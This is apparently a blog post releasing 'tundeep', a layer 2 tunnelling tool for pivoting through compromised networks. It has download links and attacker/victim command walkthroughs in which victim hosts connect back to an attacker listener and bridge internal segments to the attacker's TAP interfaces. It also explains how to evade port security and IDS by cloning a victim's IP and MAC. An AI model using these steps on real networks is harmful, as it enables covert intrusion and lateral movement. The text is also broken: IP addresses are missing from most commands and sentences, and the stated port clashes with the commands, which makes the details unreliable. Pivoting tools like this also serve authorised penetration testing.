Tundeep is a layer 2 VPN/injection tool that resides [almost] entirely in user space on the victim aside from the pcap requirement. This can be handled via a silent install however. The tool will build on Linux and Windows victims. Windows compilation is achieved using Cygwin. The attacker must be a Linux machine however as kernel TUN/TAP support is required. It works just fine on Backtrack/Kali.



v0.1a_20130910: [DOWNLOAD tundeep_v0.1a_20130910.tgz]
v0.2a_20130916: [DOWNLOAD tundeep_v0.2a_20130916.tgz]
– IPv6 support (-6, -T)
– Compression support (-C) – must be enabled on both sides
– Better error checking and debugging
– Misc bug fixes and code improvements
– Makefile improvements to detect Cygwin/Linux without manual edits
– README updates
– Added default checksum feature (-K disables) – added overhead, improved reliability. Must be disabled on both sides

Tundeep can also be found on GitHub


The purpose of the tool is to allow an attacker to tunnel through a network at layer 2. A TAP interface will be brought up on the attackers machine for each level of the network allowing direct interaction with hosts on the network segment through a compromised victim.

Firstly, a few caveats;

  1. This is an alpha release – it needs significant testing and there are most likely bugs.
  2. The tool requires an installation of libpcap/winpcap
  3. As per the included README, various functions and routines have been borrowed from various online posts.

Now, on to the tool. Back to the scenario above, here’s the simplest case usage:

Consider the following network:

[Attacker (eth0)]
Attacker (server): tundeep -s -t tap0 -h -p 5000 -x -y
Victim 1 (client): tundeep -c -i eth1 -h -p 5000

Once up, we have full access at Layer 2 to Victim 1’s network. Our attacking machine has a tap0 interface with IP

**NOTE – Victim1 has two interfaces, eth0 and eth1. Tundeep is communicating between the victim and attacker over eth0, whilst eth1 is the specified interface via -i for tunneling deeper into the network. Do not specify (-i) interface as the same interface that tundeep communicates with the attacker over otherwise you’ll just create a noisy traffic loop. If the victim only has one NIC and this is unavoidable, use a BPF within tundeep (-b) – described in more detail at the end of the article.

In this case, the attacker listens in on TCP port 500 on all IPs (, and the Victim connects back to him. The attacker brings up ‘tap0’ interface locally on, which is Victim1’s eth1 network. Now, let’s see what happens when the attacker pings

  1. Attacker sends an ARP request (who has out of tap0 (-t)
  2. tundeep on the attacking machine picks it up, encapsulates it with a length field, and sends it out of the TCP connection to Victim1
  3. tundeep on victim1 decapsulates it, and injects it into eth1 (-i).
  4. Victim2 responds to (-x) which Victim1 intercepts on eth1
  5. tundeep on victim1 encapsulates the packet and sends it back to the attacker
  6. tundeep on attacker receives and decapsulates the packet, then presenting it on tap0
  7. Attacker’s ARP table is updated, and now has an ARP entry for
  8. The entire process now repeats for the ICMP Echo Request (ping).

Victim1 will forward everything it receives on eth1 back to the attacker. This may not be an ideal scenario on a busy network. In this case, you can specify a filter (bpf format) on the Victim side i.e. ‘-b “host″‘.

This is not the most stealthy method, as Victim 1 is now claiming 2 IP addresses and 2 MAC addresses on eth1. This could trigger a lock down through port security or an IDS alert. The more stealthy method would be:

Attacker: tundeep -s -t tap0 -h -p 5000 -x -y -u 00:0c:29:c6:44:02
Victim 1: tundeep -c -i eth1 -h -p 5000

What we’re doing in this case, is specifying -x, -y and -u options to match the IP, Netmask and MAC respectively of Victim 1. The two issues with this approach are:

1. We can’t use a bpf filter to specify our IP as it’s now the same as the Victim’s IP. Everything the Victim receives will be sent back to us, regardless of whether or not we want it. We could specify specific port or protocol filters however using -b
2. If we make a request to victim 2 from victim 1’s IP, then victim1 will always receive the response before we do. If victim 1 responds with an RST or other conflicting packet to perhaps our SYN/ACK, then it will interfere with our traffic.

Let’s now look at tunnelling deeper. Once we have penetrated victim2, we can start another listener on our attacking machine, this time matching the IP/Netmask/MAC of Victim2’s external interface.

Attacker: tundeep -s -t tap1 -h -p 5001 -x -y -u 00:0c:29:df:f0:ac
Victim2: tundeep -i eth1 -h -p 5001 -c

On our attacking machine, we now have tap0 on Victim1’s network, and tap1 on Victim2’s network. We can now directly ping Victim3.

During testing I achieved an impressive 1.4MB/sec SCP transfer speed from Victim3 where Victim1 ran Windows XP Pro and Victim2 ran Debian 64bit virtual machines.

Some more options to consider:

1. UDP mode (-d). In this case, each instance peers with the other, there’s no client or server concept. In this mode, -h specifies the listen IP, and -e specifies the peer:

Attacker: tundeep -d -e -t tap0 -h -p 5000 -x -y -u 00:0c:29:c6:44:02
Victim: tundeep -d -e -i eth1 -h -p 5000

One final note, consider the following scenario:

[Attacker (eth0)]

We can’t install tundeep to the router, we’ll have to install it on Victim1 to gain access to the wider network. The issue that we encounter is that we are sniffing on Victim1’s eth0 AND we have our TCP/UDP tundeep connection on the same interface. This will create a noisy traffic loop. In this case again, we’ll want to use a bpf filter to specify “tcp|udp port not $port” where the $port is the one tundeep is running on.

Last but not least, you can specify (-a) to list interfaces. This is particularly useful on Windows.